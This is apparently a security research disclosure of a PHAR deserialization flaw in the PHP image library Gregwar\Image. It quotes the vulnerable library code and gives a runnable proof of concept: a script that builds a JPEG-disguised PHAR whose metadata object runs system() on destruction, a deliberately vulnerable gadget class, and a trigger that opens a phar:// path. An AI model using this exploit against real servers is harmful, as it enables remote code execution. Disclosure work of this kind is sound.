AIS3 2024's Research

Description

Gregwar\Image is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when Gregwar\Image is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If the user can control the input file and protocol during the image conversion , it will invoke deserialization.

Proof of Concept (PoC)

there is a vulnerable example with : GD.php

GD.php line 610~617

1
protected function openJpeg($file)
2
    {
3
        if (file_exists($file) && filesize($file)) {
4
            $this->resource = @imagecreatefromjpeg($file);
5
        } else {
6
            $this->resource = false;
7
        }
8
    }

You can see there’s a file_exists function, and when we pass in a JPEG file, it gets triggered.
However, in the implementation method of File.php, if we pass in a file other than JPEG, PNG, GIF, or WebP, the program will still automatically set the type to JPEG for us.

File.php line 29~61

1
     public function guessType()
2
    {
3
        if (function_exists('exif_imagetype')) {
4
            $type = @exif_imagetype($this->file);
5

6
            if (false !== $type) {
7
                if ($type == IMAGETYPE_JPEG) {
8
                    return 'jpeg';
9
                }
10

11
                if ($type == IMAGETYPE_GIF) {
12
                    return 'gif';
13
                }
14

15
                if ($type == IMAGETYPE_PNG) {
16
                    return 'png';
17
                }
18

19
                if ($type == IMAGETYPE_WEBP) {
20
                    return 'webp';
21
                }
22
            }
23
        }
24

25
        $parts = explode('.', $this->file);
26
        $ext = strtolower($parts[count($parts) - 1]);
27

28
        if (isset(Image::$types[$ext])) {
29
            return Image::$types[$ext];
30
        }
31

32
        return 'jpeg';
33
    }

Thus, we create the PHAR file like this.

create_phar.php

1
<?php
2

3
class AnyClass {
4
  public $data = null;
5
  public function __construct($data) {
6
    $this->data = $data;
7
  }
8

9
  function __destruct() {
10
    system($this->data);
11
  }
12
}
13

14
// create new Phar
15
$phar = new Phar('poc.phar');
16
$phar->startBuffering();
17
$phar->addFromString('poc.txt', 'text');
18
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
19

20
// add object of any class as meta data
21
$object = new AnyClass('whoami');
22
$phar->setMetadata($object);
23
$phar->stopBuffering();

1
root@192a018e0acc:/var/www/html# php --define phar.readonly=0 create_phar.php

We obtain the file.:

And we setup the following code in /var/www/html: vuln.php represents our use of gregwar/image functions and poc.php represents code with a vulnerable POP chain.

poc.php

1
<?php
2
class AnyClass {
3
  public $data = null;
4
  public function __construct($data) {
5
    $this->data = $data;
6
  }
7

8
  function __destruct() {
9
    system($this->data);
10
  }
11
}

vuln.php

1
<?php
2

3
    require_once 'vendor/autoload.php';
4

5
    include 'poc.php';
6

7
    use Gregwar\Image\Image;
8

9
    Image::open('phar://poc.phar/')
10
        ->resize(500, 500)
11
        ->save('out.png', 'png');